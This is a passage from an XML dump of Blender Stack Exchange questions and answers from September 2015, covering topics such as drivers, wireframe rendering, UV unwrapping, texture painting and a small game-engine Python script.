  <row Id="38378" PostTypeId="2" ParentId="38373" CreationDate="2015-09-11T14:45:15.823" Score="5" Body="&lt;p&gt;Consider.&#xA;A driver.&#xA;In the image below a parent object visibility drives another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/knhJu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/knhJu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purple render icon indicates a driver is active&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oaTym.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oaTym.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This menu show how one can copy and paste a driver. Earlier you would see create driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vOKgj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vOKgj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-09-11T14:45:15.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38379" PostTypeId="2" ParentId="38341" CreationDate="2015-09-11T15:11:17.483" Score="1" Body="&lt;p&gt;You could add a driver to the Thickness value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TcmIW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TcmIW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, I've used the property &lt;strong&gt;dimension.x&lt;/strong&gt; (it corresponds to the diameter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the value to change only at certain steps, you can set the interpolation mode to &lt;strong&gt;constant&lt;/strong&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7CmUc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7CmUc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you duplicate the sphere (&lt;kbd&gt;alt&lt;/kbd&gt; +&lt;kbd&gt;d&lt;/kbd&gt;), the driver will automatically update and it will mantain the reference to the proper diameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&#xA;Remember to apply the scale transformation after scaling, otherwise the Thickness value will scale too.&lt;/p&gt;&#xA;" OwnerUserId="7668" LastActivityDate="2015-09-11T15:11:17.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38381" PostTypeId="1" AcceptedAnswerId="38388" CreationDate="2015-09-11T16:46:31.263" Score="2" ViewCount="537" Body="&lt;p&gt;So I'm making an RTS type game, just for practice and exercise, but when I send someone somewhere, I want them to know when they need to stop. I decided this could be done by having the marker that they go to send them a message when they're near it. How can I make the message send only to the guys that are within, say, 3BU from it?&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-09-14T05:13:55.840" Title="How do I change the value of the &quot;To:&quot; text field on the Message actuator?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38382" PostTypeId="1" CreationDate="2015-09-11T16:58:48.830" Score="1" ViewCount="191" Body="&lt;p&gt;I have modeled a sled and now I want to animate it going down from mountain, so is there any way to make sled stick to terrain and then animate it going down the mountain?&lt;a href=&quot;https://i.stack.imgur.com/EUPGa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUPGa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6160" LastActivityDate="2015-09-11T16:58:48.830" Title="How to make object follow terrain?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-09-11T18:25:24.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="38383" PostTypeId="1" CreationDate="2015-09-11T17:19:36.440" Score="0" ViewCount="45" Body="&lt;p&gt;The bottle needs either smoothing or subdivision to look right however applying either causes issues. Subdivision squashes my label and smoothing makes for a black tint on the glass. As far as the tint --I tried increasing the Transmission value in the render properties / Light Paths and the dark spots did not go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2FNrE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2FNrE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16246" LastActivityDate="2015-09-11T17:19:36.440" Title="Both Smoothing / Subdivision creates unwanted outcomes (squashing UV label or black tint in glass)" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38384" PostTypeId="1" AcceptedAnswerId="38389" CreationDate="2015-09-11T17:25:05.810" Score="8" ViewCount="1624" Body="&lt;p&gt;I need to render my models in wireframe (no solid). I first turned to the Wireframe modifier, it works great. Only I can see through to the wires at the back of the model. I need to render only the front-visible wires, otherwise it just clutters the view. Is it possible and how? (No matter if it's BI or Cycles in this case.)&lt;/p&gt;&#xA;" OwnerUserId="16239" LastEditorDisplayName="user1853" LastEditDate="2015-09-11T19:32:20.523" LastActivityDate="2018-05-08T15:08:43.983" Title="Render wireframes with hidden wires?" Tags="&lt;rendering&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38385" PostTypeId="1" AcceptedAnswerId="38386" CreationDate="2015-09-11T17:40:52.467" Score="1" ViewCount="6842" Body="&lt;p&gt;Can you please tell me if there is a handy shortcut or hotkey using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; or the knife tool to cut ALL the way through an object and not just it's face? I want to make a simple cut to make the tape follow the form of the bottle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sw1Mk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sw1Mk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16246" LastEditorUserId="20" LastEditDate="2015-09-11T17:42:35.363" LastActivityDate="2015-09-11T17:44:07.223" Title="How do I use CTRL-R to cut all the way through an object, not just one face?" Tags="&lt;modeling&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-09-11T20:54:19.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="38386" PostTypeId="2" ParentId="38385" CreationDate="2015-09-11T17:44:07.223" Score="2" Body="&lt;p&gt;The knife tool will work in this situation. After pressing &lt;kbd&gt;K&lt;/kbd&gt;, hit &lt;kbd&gt;Z&lt;/kbd&gt;, which will put it in cut through mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n4wPN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n4wPN.png&quot; alt=&quot;cut through&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2015-09-11T17:44:07.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38387" PostTypeId="2" ParentId="38384" CreationDate="2015-09-11T17:59:43.280" Score="5" Body="&lt;p&gt;Add a Geometry node and use the backfacing information to control the transparency of the object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Cqa1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Cqa1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JAq7V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JAq7V.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The inside &amp;quot;backfacing&amp;quot; geometry will be transparent and the &amp;quot;front facing&amp;quot; will use the wireframe.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-05-08T15:08:43.983" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="38388" PostTypeId="2" ParentId="38381" CreationDate="2015-09-11T18:12:30.687" Score="3" Body="&lt;p&gt;You need logic set up like in the image below on each of your markers.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/L5Oga.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L5Oga.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is just an &lt;em&gt;Always&lt;/em&gt; sensor, set to True level triggering; and a &lt;em&gt;Near&lt;/em&gt; sensor. Those two are plugged in to the python controller, which will activate the message actuator. The property in the Near sensor is not needed, that is only to limit what objects get the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script will send a message to every object that is near (3 units or closer) the marker.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;list = cont.sensors['Near'].hitObjectList&#xA;&#xA;if cont.sensors['Near'].triggered:&#xA;    message = cont.actuators['Message']&#xA;    for obj in list:&#xA;        message.propName = obj.name&#xA;        cont.activate(message)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The script gets all the objects that are near the marker and stores it as the &lt;code&gt;list&lt;/code&gt; variable (line 5).&lt;/li&gt;&#xA;&lt;li&gt;The if statement works like this, when anything is near the marker, the near sensor is triggered, thus it is True.&lt;br&gt;&#xA;It then loops through the list of objects that are near, and sets the message actuator's &quot;To:&quot; field to one of the objects. (&lt;code&gt;message.propName = obj.name&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;The last line still part of the loop, activates the actuator - sends the message.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-09-11T18:12:30.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38389" PostTypeId="2" ParentId="38384" CreationDate="2015-09-11T18:41:20.100" Score="1" Body="&lt;p&gt;Ok, I played some more. And I found an acceptable solution. I use the Wireframe modifier. I set it to solid (don't replace original). I set 2 materials on the object, white and black. Set the solid to white (emission shader) and the wireframe to material offset +1 (meaning black). And I get a nice clean geometry with only visible wires and edges.&lt;/p&gt;&#xA;" OwnerUserId="16239" LastActivityDate="2015-09-11T18:41:20.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38390" PostTypeId="1" CreationDate="2015-09-11T20:46:00.317" Score="1" ViewCount="157" Body="&lt;p&gt;How can I make the light affect other things from the emit map? Also a mirror map? I want a part of the wall that shows reflection of a mirror.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm so confused. I'm in the cycles render now, and when I try to paint a mirror, it repeats..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pz8In.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pz8In.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-09-11T23:54:58.887" LastActivityDate="2015-09-11T23:58:16.810" Title="Emit map and mirror map? How can I texture emission and reflection?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-09-11T23:43:35.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="38391" PostTypeId="2" ParentId="38341" CreationDate="2015-09-11T20:50:26.127" Score="0" Body="&lt;p&gt;The thickness value is exactly half the difference of the diameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(Dmax-Dmin) / 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m28e5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m28e5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to apply the scale transformation (&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt;) if you are scaling the sphere, otherwise the Thickness value will scale too.&lt;/p&gt;&#xA;" OwnerUserId="7668" LastActivityDate="2015-09-11T20:50:26.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38393" PostTypeId="1" AcceptedAnswerId="38401" CreationDate="2015-09-11T21:27:18.687" Score="1" ViewCount="280" Body="&lt;p&gt;I'm trying to round the body for a helicopter I'm modeling using a side and front view, however I was wondering if there would be any easier way to do it than moving every single vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/494/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=494&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eVfYd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eVfYd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yC3PY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yC3PY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jefj9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jefj9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EzKKb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzKKb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/olGfd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/olGfd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15259" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-09-12T00:38:03.587" Title="What would be the best way to round an object to fit a shape?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38394" PostTypeId="1" AcceptedAnswerId="38546" CreationDate="2015-09-11T22:23:00.977" Score="1" ViewCount="2087" Body="&lt;p&gt;I created my rig from rigify armature and it is working beautifully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue now is I want to load some mocap bvh files on it, I'm using MakeWalk addon but when I try to load the bvh file by clicking in &quot;Load and Retarget&quot; button under the Misc Tab I got this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oj8BJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oj8BJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched a lot I didn't find any clue to solve this... using a regular rig or makehuman rig would be a pain in the a*% for me since Rigify is amazing and I am pretty used to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any tips are welcome thanks&lt;/p&gt;&#xA;" OwnerUserId="14006" LastEditorUserId="15543" LastEditDate="2018-03-06T09:35:09.847" LastActivityDate="2018-03-06T09:36:14.413" Title="Object scaling preventing retargeting of rigify rig to bvh with MakeWalk" Tags="&lt;rigging&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38395" PostTypeId="2" ParentId="38390" CreationDate="2015-09-11T22:44:28.753" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zqCeM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqCeM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;I tried a simple test: I created a 600x200 pixel png file, with the left half pure black and the right half pure white. Created a new emission material in Cycles and set the color to 'Image Texture', then loaded the png image as the texture. I placed the material on a quad and set that quad perpendicular to a flat surface and rendered. The half textured with white acted exactly like a bright light, shining white light over my flat surface. The half textured in black emitted no apparent light. Looks to me like it just works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blend for this texture emission can be found here: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/495/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=495&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The partial mirror is achievable by using a glossy BDSF shader with another UV-mapped texture feeding the 'Roughness' variable. I updated the blend to use this textured mirroring node setup. You can find it here: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/496/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=496&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16665" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-11T23:58:16.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38397" PostTypeId="1" CreationDate="2015-09-11T23:37:54.910" Score="2" ViewCount="1795" Body="&lt;p&gt;So, to start off. I'm a member of cgcookie.com. they offered some pretty good tips, like turning of VBO and stuff. Still, I just feel like for having an home built i5 and an GTX970 card and 16GB of ram, I should get better performance while working.&lt;br&gt;&#xA;I'm totally happy if the answer is upgrade my machine, I get it. We all know rendering is math intensive. It just feels like I must have some setting wrong. Here are the stats on the scene in an example I set up where I wouldn't expect only 70k vertices to bring copy past to it's knees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ttEUK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ttEUK.png&quot; alt=&quot;blender header object stats&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16033" LastEditorUserId="2217" LastEditDate="2015-11-22T21:58:32.407" LastActivityDate="2015-11-22T21:58:32.407" Title="make blender faster while working. not concerned about render speeds" Tags="&lt;objects&gt;&lt;workflow&gt;&lt;performance&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38398" PostTypeId="1" AcceptedAnswerId="38404" CreationDate="2015-09-12T00:08:33.803" Score="3" ViewCount="8019" Body="&lt;p&gt;i'm sure this is a simple question but i've just started with blender. I see that I can change the number of light bounces to reduce render time, but I can't find that option in the newest version?&lt;/p&gt;&#xA;" OwnerUserId="18011" LastActivityDate="2020-08-10T12:48:41.640" Title="where do i find option to change light bounce?" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38399" PostTypeId="1" AcceptedAnswerId="38414" CreationDate="2015-09-12T00:20:15.340" Score="5" ViewCount="1927" Body="&lt;p&gt;How do you texture paint on a sphere? I want to paint without it repeating... But I get sharp shards of the color I'm painting with all over the object when I'm not even painting there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SMJvz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SMJvz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-09-12T00:34:50.103" LastActivityDate="2015-09-12T09:16:52.897" Title="Texture painting on sphere" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38400" PostTypeId="1" AcceptedAnswerId="38402" CreationDate="2015-09-12T00:30:59.207" Score="5" ViewCount="210" Body="&lt;p&gt;I have a pipe-like mesh that I need to unwrap so that it'll accept a brick texture. The sides of the pipe are easy. My problem is trying to figure out a way to unwrap the ends so that I can have a single row of brick texture continue around radially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, not an easy thing to say with words. How about a picture...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CfL3n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CfL3n.png&quot; alt=&quot;Radially unwrap the end of the pipe.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the grease pencil to give an idea of how the desired unwrap will look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any and all suggestions.&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2015-09-12T00:38:42.150" Title="UV Unwrap End of a Pipe" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38401" PostTypeId="2" ParentId="38393" CreationDate="2015-09-12T00:38:03.587" Score="1" Body="&lt;p&gt;Personally, I think that for this situation it would be best to round off the geometry in edit mode.  Especially since you will (presumably) be  modeling more details to the mesh such as windows, doors, tail, etc. you will want the mesh to be more contoured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I would do this would be to use the &lt;em&gt;smooth&lt;/em&gt; function and then tweak it a little with proportional editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this first go into edit mode and select everything, then bring up the &lt;em&gt;specials&lt;/em&gt; menu with &lt;kbd&gt;W&lt;/kbd&gt; and select &lt;em&gt;smooth&lt;/em&gt;.  You can tweak the smoothing by going to the bottom of the left toolbar (&lt;kbd&gt;T&lt;/kbd&gt;) or hitting &lt;kbd&gt;F6&lt;/kbd&gt;.  I used the default &lt;em&gt;smoothing&lt;/em&gt; value of &lt;code&gt;0.5&lt;/code&gt;, but increased the &lt;em&gt;repeat&lt;/em&gt; value to &lt;code&gt;6&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aYmsq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I would tweak the mesh around using &lt;em&gt;proportional editing&lt;/em&gt;, turn proportional editing on with &lt;kbd&gt;O&lt;/kbd&gt;.  You can set the falloff curve in the footer of the 3D view and adjust the falloff radius with the scroll wheel.  You can go into wireframe view and line up your model with the background image to help with the tweaking process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I came up with after a little tweaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GTPIB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GTPIB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-09-12T00:38:03.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38402" PostTypeId="2" ParentId="38400" CreationDate="2015-09-12T00:38:42.150" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select the end faces, hit &lt;kbd&gt;U&lt;/kbd&gt; button to unwrap and select &lt;strong&gt;Reset&lt;/strong&gt; from the menu.&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;U&lt;/kbd&gt; button again and chose &lt;strong&gt;Follow Active Quads&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Scale and move the unwrapped faces in the UV/Image editor to desired location.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-09-12T00:38:42.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38404" PostTypeId="2" ParentId="38398" CreationDate="2015-09-12T00:52:10.603" Score="5" Body="&lt;p&gt;It's still where it always has been, in &lt;em&gt;Properties &gt; Render &gt; Light Paths &gt; Bounces&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FDpAE.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FDpAE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-09-12T00:52:10.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38405" PostTypeId="2" ParentId="38399" CreationDate="2015-09-12T01:20:08.150" Score="6" Body="&lt;p&gt;I believe your problem in the screen shot you posted is because the direction of your normals don't match. Or it could be that you accidentally made two identical spheres overlapping. Without seeing your .blend I can't verify the nature of the problem. But there is a better way to texture a sphere anyway, and I will now share that with you.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Use a round cube instead&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To get these menu options enable the Extra Objects mesh add-on in your preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jitjr.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jitjr.png&quot; alt=&quot;Adding a round cube&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Set round cube's divisions as desired&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mM3yk.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mM3yk.png&quot; alt=&quot;Setting round cube&amp;#39;s divisions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. UV Unwrap using Follow Active Quads&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ATYqh.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ATYqh.png&quot; alt=&quot;UV unwrapping using Follow Active Quads&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Scale to fit your UV layout and add an image texture&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/92VJS.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/92VJS.png&quot; alt=&quot;UV unwrap result, scaled down&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotate 180° if feeling unholy ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm just having a little fun, so I hope you guys won't get cross with me)&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-09-12T01:27:22.413" LastActivityDate="2015-09-12T01:27:22.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38407" PostTypeId="2" ParentId="38352" CreationDate="2015-09-12T02:27:34.573" Score="3" Body="&lt;p&gt;This appears to be the result of a couple things:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Negative start frame.&lt;/p&gt;&#xA;&lt;p&gt;The simulator doesn't seem to like this, I suspect that it's a bug that negative start frames are even possible to set. (will report later)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The start of the scene animation is after the start of the simulation.&lt;/p&gt;&#xA;&lt;p&gt;Blender only simulates when the animation is played from the starting frame of the simulation (not sure why it worked at all in your case actually).&#xA;Once the simulation is &lt;a href=&quot;http://blender.org/manual/physics/smoke/baking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Baked&lt;/em&gt;&lt;/a&gt; or cached you can start at any point.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you set the simulation start frame to 0 in &lt;em&gt;Physics &amp;gt; Smoke Cache&lt;/em&gt; and then 